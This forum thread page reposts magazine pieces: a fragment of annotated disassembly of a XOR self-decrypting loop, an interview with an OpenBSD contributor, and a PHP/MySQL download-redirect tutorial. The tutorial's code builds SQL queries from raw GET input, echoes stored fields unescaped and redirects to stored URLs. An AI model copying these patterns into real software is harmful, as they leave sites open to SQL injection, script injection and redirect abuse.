.080495DC: EB02 jmps .0080495E0

; мусор, оставленный транслятором ассемблера

.080495DE: 06 push es

.080495DF: C6 ???

; сохраняем в стеке все регистры и флаги

.080495E0: 60 pushad

.080495E1: 9C pushfd

; начало расшифровываемого фрагмента

.080495E2: BEC0820408 mov esi, 0080482C0

.080495E7: 8BFE mov edi, esi

; количество двойных слов для расшифровки

.080495E9: B978000000 mov ecx, 000000078

; ключ расшифровки

.080495EE: BBBD03CC09 mov ebx, 009CC03BD

; читаем очередное двойное слово

.080495F3: AD lodsd

; расшифровываем через xor

.080495F4: 33C3 xor eax,ebx

; записываем результат на место

.080495F6: AB stosd

; мотаем цикл

.080495F7: E2FA loop .0080495F3

; восстанавливаем из стека флаги и регистры



--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 7 2006, 10:05
Сообщение #58


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



интервью с демоном
Как мы впервые увиделись с Андрюшком? Давно это было. В те легендарные времена, когда люди были как братья, и деревья могли разговаривать, сидели мы в старом офисе, в тени раскидистого баобаба и попивали чай с вареньем. На улице была сильная гроза, и мы не сразу поняли природу внезапно раздавшегося звука. Помню, Покровский тогда сразу извлек из-под стола осиновый кол и серебряные пули (мы тогда увлекались «Молотом Ведьм» на ночь), распознав в этом звуке агрессивного обладателя железных копыт. Но, как оказалось, наш инквизиторский стафф был неэффективен против рогатого гостя – ведь он не настоящий демон, а символический. Веришь или нет, но он – самый настоящий BSD-механизм. Попробуем проникнуть в его биографию.

XS:

У читателей есть подозрение, что Андрюшок - не настоящий человек, а синтетический. Что ты на это скажешь?

A.M.:

На этот счет существует даже целая теория. Будто бы меня (компьютерную систему, имитирующую человеческое мышление) создали в недрах сверхсекретной лаборатории, находящейся в ведомстве министерства энергетики США. Спешу разочаровать тебя и читателей - это не так, я обычный человек с присущими ему пороками и недостатками. Хотя иногда мне кажется, что я веду синтетический образ жизни, и мне снятся синтетические сны...

XS:

Это все понятно: говорят, все инопланетяне, киборги и прочие гуманоиды именно так о себе и повествуют. Но будем считать, что мы тебе поверили. Ну что, коротко о себе? Кто такой, чем занимаешься? У тебя, наверное, семья, дети, друзья есть? Расскажи-ка о своем житье-бытье.

A.M.:

Родился в 1979 году в Нижнем Новгороде. Прожив на родине Максима Горького шесть лет, с родителями переехал в столицу, где закончил сначала школу, а затем университет и аспирантуру. Друзья-приятели совершенно разные, друг на друга не похожие, но с одинаковыми тараканами. Не женат, но я работаю в этом направлении ;-).

XS:

Ну, не будем рассуждать о том, чем и как ты трудишься в этом направлении smile.gif, лучше расскажи про настоящую работу. Насчет того, что ты редактор рубрики UNIXOID Хакер'а, мы в курсе, но вот я слышал, что ты работаешь в каком-то могучем НИИ? Это правда?

A.M.:

Моя основная работа - заведующий IT-отделом во Всероссийском НИИ, сотрудники которого занимаются научным обоснованием развития сельскохозяйственной мелиорации и гидротехники. Вообще, этот институт просто потрясающий, настоящий храм науки. Никитос и Токса, когда заходили в гости, несказанно впечатлились увиденным. Я не открою большой тайны, если скажу, что сейчас зарплата в бюджетных конторах только начинает приближаться к чисто символической, поэтому по совместительству работаю системным администратором в нескольких коммерческих фирмах. Кроме того, как ты уже упомянул, work'аю над журналом «Хакер». А на досуге для знакомых поднимаю виртуальные частные сети по протоколу IPSec и ваяю/поддерживаю сайты на базе CMS.

XS: Ого, какое же у тебя образование?

A.M.:

За шесть лет обучения в университете я получил два диплома о высшем образовании (дипломы бакалавра и магистра по специальности «Строительное дело»). Мне несколько раз предлагали работать по специальности, но я смутно представляю себя прорабом или сотрудником проектной организации, да и теперь уже совершенно точно уверен в том, что это не мое. Кстати, в моих статьях для «Хакера» периодически проскальзывают фразы типа: «закладываем надежный фундамент для нашей конструкции» smile.gif.
XS:

Вообще сложный вопрос: по-моему, работать строителем – это круто. Ну, знаешь как у группы «Кувалда» - «бетономешалка мешает бетон, бригада строителей жрет самогон». Опять же: виллы бы строил, гастрбайтеров гонял. Хотя быть хардкорным юниксоидом тоже очень здорово. Расскажи, а чем ты вообще крут в этом плане? Почему мы решили брать интервью у тебя, а не у Билла Гейтса? Ходит слух, что ты крутой кернел-хакер и чуть ли не один из разработчиков OpenBSD.

A.M.:

Постараюсь немного прояснить ситуацию. Начиная с конца 2002 года, в OpenBSD было внесено порядка двухсот моих изменений, и всего 20 из них касались ядра операционной системы, так что меня с огромным трудом можно назвать кернел- хакером. Я уделял первостепенное внимание аудиту исходного кода и по разным причинам старался не привносить в kernel/userland новый функционал. В большинстве своем мои патчи представляли собой наборы исправлений, которые были направлены на устранение ошибок (fd/FILE */memory leaks, double free, integer overflow, format string bug и др.) в библиотеке libc, сетевых демонах и штатных утилитах. Вопреки слухам, я не являюсь официальным разработчиком OpenBSD, хотя речь об этом неоднократно заходила с лидером проекта (Theo de Raadt).

XS:

Так значит, приходилось общаться с разработчиками? Расскажи о самых колоритных.

A.M.:

По электронной почте и на канале #hackers приватного чат-сервера мне удалось пообщаться со многими ведущими разработчиками OpenBSD (чат представляет собой нечто вроде урезанного по возможностям irc, потусить на нем можно только по спецприглашению). Довольно проблематично выделить из них кого-то одного, могу лишь отметить, что искрометный юмор на технические темы присутствует в изобилии. Цитата для примера: «You are in a maze of gpio pins, all alike, all undocumented, and a few are wired to bombs». В реале несколько раз встречался с Александром Юрченко (grange@), который занимается преимущественно дисковой подсистемой.

XS:

Итого... 180 изменений в системных библиотеках и программах из пространства пользователя, плюс 20 изменений в ядре... Хило получается sad.gif. Даже моя бабушка внесла больше. Расскажи про какой-нибудь последний подвиг на ниве BSD.

A.M.:

В конце прошлого года я прикупил себе очередную игрушку для души. На этот раз ей стала ультракомпактная, нетребовательная к питанию и абсолютно бесшумная система, представляющая собой материнскую плату VIA Epia MS форм-фактора mini-ITX с безвентиляторным процессором VIA Eden ESP. Висевшая на борту 100 мегабитная сетевуха с внешним PHY VT6103, наотрез отказалась работать. Три строчки кода, добавленные в ядерный драйвер vr(4), оказали на нее целительное воздействие. Brad Smith, один из девелоперов, заметил мой интерес к карточкам на чипсетах VIA Rhine, и мы с ним примерно за два месяца привели этот драйвер в порядок - вычистили неиспользуемый код, реорганизовали проверки, вернули потерянные при портировании из FreeBSD куски кода на свои места, сделали более сглаженными вход и выход из неразборчивого режима (promiscuous mode) и т.д. В настоящее время отлавливаю утечки памяти в демоне isakmpd(8), который обеспечивает работу по протоколу обмена секретными ключами.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 7 2006, 11:32
Сообщение #59


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



хостинг для настоящих митьков
У НАС ЕСТЬ ПЛАТНЫЙ ХОСТИНГ, МЫ ПЛАТИМ ЗА НЕГО ПРИМЕРНО ПЯТЬ ДОЛЛАРОВ В МЕСЯЦ. КОНЕЧНО, МЕСТА, ВЫДЕЛЕННОГО СЕРВЕРУ, НЕ ТАК МНОГО, КАК ХОТЕЛОСЬ, А ХОЧЕТСЯ РАЗМЕСТИТЬ ТАМ ОЙ КАК МНОГО! ВЫХОД ЕСТЬ — NAROD.RU smile.gif

[что за система?] Конечно, на narod.ru мы разместим весь нужный софт, так как там дают неограниченное пространство, а потом напишем хитроумную систему, которая будет лежать на платном хостинге. С помощью этой системы любой пользователь сможет скачивать выложенные файлы, а ссылки будут вести на платный хостинг, и они будут выглядеть так: http://site.ru/download/download.php?id=19.

Система будет состоять из четырех файлов:

1 Скрипт добавления софта (add.php).

2 Скрипт скачки (download.php).

3 Форма для добавления софта (form_add.php).

4 Скрипт, отображающий софт, добавленный нами (index.php).

[принцип работы] системы очень прост. С помощью скрипта мы добавляем в таблицу имя сервера, имя файла и его описание. Скрипт скачки просто-напросто выдирает из таблицы данные, соответствующие номеру id (он передается из скрипта методом GET), и по ним перенаправляет браузер на софт.

Система использует базу данных MySQL, так что приконнектимся к мускулу и выполним простой запрос (листинг 1).

CREATE TABLE `download` (

`uid` int(11) NOT NULL auto_increment,

`file` text NOT NULL,

`server` text NOT NULL,

`ops` longtext NOT NULL,

`click` int(11) NOT NULL default '0',

PRIMARY KEY (`uid`)

) TYPE=MyISAM;

Этим запросом мы создаем таблицу download.

Поля и их описания в этой таблице:

- uid — уникальный номер файла;

- file — имя файла;

- server — имя сервера;

- ops — описание файла;

- click — количество скачиваний файла.

[начинаем кодить.] В скрипте form_add.php разместится форма добавления нового софта, она будет передавать данные скрипту add.php. В качестве метода отправки данных в ней мы будем использовать GET. Сами данные — это имя сервера, имя файла и его описание, то есть в скрипте мы напишем следующие поля:

<input type=text size=30 name=filen> — сюда будем вводить имя файла;

<input type=text size=30 name=server> — сюда — имя сервера;

<input type=text size=80 name=ops> — сюда — описание самого файла.

Например, мы закачали файл linux.rar на сайт http://mysite.narod.ru. Отсюда следует, что в поле File name должно быть введено linux.rar, а в поле Server name — http://mysite.narod.ru.

Однако можно и не писать в конце имени сервера знак прямого слэша «/». Тогда придется добавлять его в скрипте, который помещает все данные в таблицу (add.php), то есть вместо этой строки ($put = "$server$file";) нужно написать $put = "$server/$file"; (описание скрипта смотри ниже). В файле add.php мы соединяемся с базой данных MySQL, потом проверяем все передаваемые параметры на пустые строки и, если все нормально, добавляем эти переменные в таблицу. Пишем так:

mysql_connect($host,$user,"$password"); — здесь $host — имя сервера MySQL; $user — имя пользователя базы данных; $password — пароль этого пользователя.

Все переменные объявляем в начале скрипта. Далее выбираем базу данных, в которой лежит созданная таблица download:



@mysql_select_db($base) or die("Base Error"); $base — в этой переменной хранится имя базы, ее также объявляем в начале.

Затем мы делаем проверку на пустые строки — я не буду описывать как (можно посмотреть в исходнике на диске). После проверки, если все нормально, добавляем данные в таблицу:

mysql_query("insert into download values('', '$filen', '$server', '$ops','0')");

В этом скрипте нужно обязательно добавить проверку на расширение закачиваемых файлов, то есть скрипт должен фильтровать все файлы с расширениями *.php; *.php3;*.html;*.htm и т.д. Однако если этим скриптом будет пользоваться только админ, то и не нужно писать никакую фильтрацию. Можно пойти совсем простым путем и сделать фильтрование так, чтобы скрипт принимал только расширение *.rar, — так будет намного проще. Ах да! Здесь нужно добавить еще одну фильтрацию на спецсимволы в переменных: $filen, $server $ops.

Теперь рассмотрим стартовую страницу. На ней будут выводиться ссылки и описания всех добавленных файлов. Принцип работы скрипта похож на принцип работы предыдущего скрипта. Мы так же соединяемся с MySQL, только вместо добавления информации в таблицу мы извлекаем ее и выводим на экран.

..здесь соединяемся с MySQL...

print "<body bgcolor=000000 link=orange alink=orange vlink=orange text=ffffff>";

print "<center><div style=background-color:orange;color:000000>Best soft</div></center>";

….

Теперь возьмем всю информацию из таблицы, то есть мы выполним такой запрос:

$re=mysql_query("select * from download order by uid desc");

Возникает законный вопрос: что такое desc? Рассказываю. Это нужно для того, чтобы тот файл, который был добавлен последним, являлся первым в списке вывода.

Далее все просто: мы перебираем весь архив и выводим его на нашу страничку (листинг 2).

while($res=mysql_fetch_array($re))

{

print "<div style='border-left: 1px orange solid;border-right: 1px orange solid;border-bottom: 1px orange solid;padding:6px'>

<a href='download.php?id=$res[uid]'><b>$res[file]</b></a>

<div class=tekst>$res[ops]<br>

Скачиваний: ($res[click])<br>

</div></div>";

}

При клике на ссылку скрипту download передается параметр id, и скрипт выдирает из таблицы всю нужную информацию.

В скрипте download.php, как всегда, соединяемся с MySQL и выполняем точно такой же запрос, как и в предыдущем скрипте, но здесь необязательно писать desc. Далее снова перебираем весь полученный массив и сравниваем переменную $id, полученную из стартовой страницы. $res[uid] — это уникальные идентификационные номера каждой программки. Если они совпадают, то мы увеличиваем на 1 число, стоящее в таблице в поле click (поле click отвечает за число скачиваний, если ты не забыл) .Потом просто делаем перенаправление на адрес, сгенерированный из таблицы (листинг 3).

while($res=mysql_fetch_array($re))

{

$click = $res[click];// В этой переменной хранится количество скачиваний





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 7 2006, 11:50
Сообщение #60


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



if ($id == $res[uid])// Проверяем совпадение id из формы и uid из таблицы

{

$file = $res[file];

$server = $res[server];

$put = "$server$file";// Генерим адрес программы

$click = $click + 1;

mysql_query("UPDATE download SET click=$click WHERE uid=$id");

header("location:$put");// А здесь перенаправляем

}

}

[один минус] этой системы, заметный не всем, — то, что при клике на ссылку появляется стандартное окно закачки и внутри него в поле «Источник» будет вписан истинный адрес сервера, откуда пользователь качает файл. Однако если используется утилита типа Flash Get, то ты ничего не увидишь больше, кроме имени закачиваемого файла.

Вот и все. Надеюсь, эта статья заинтересовала всех тех, кто хочет сэкономить на хостинге. Кстати, для хранения софта лучше пользоваться бесплатным хостингом www.h1.ru

Ссылки по теме

ТИП: WWW

www.offbit.1gb.ru/download — ЗДЕСЬ МОЖНО НАЙТИ СИСТЕМУ, ОПИСАННУЮ ВЫШЕ, В РАБОЧЕМ РЕЖИМЕ.

www.woweb.ru — ЦЕЛЫЙ АРХИВ PHP-СКРИПТОВ НА ЛЮБОЙ ВКУС.

www.h1.ru — БЕСПЛАТНЫЙ ХОСТИНГ. ДАЖЕ КРУЧЕ, ЧЕМ narod.ru.

www.1gb.ru — ПО-МОЕМУ, ЛУЧШИЙ ПЛАТНЫЙ ХОСТИНГ.



--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение

5 страниц V < 1 2 3 4 5 >
ОтветитьСоздать новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 

- Текстовая версия Сейчас: 11th April 2021 - 14:53
 
     
Rambler's Top100 службы мониторинга серверов
Gentoo Powered Lighttpd Powered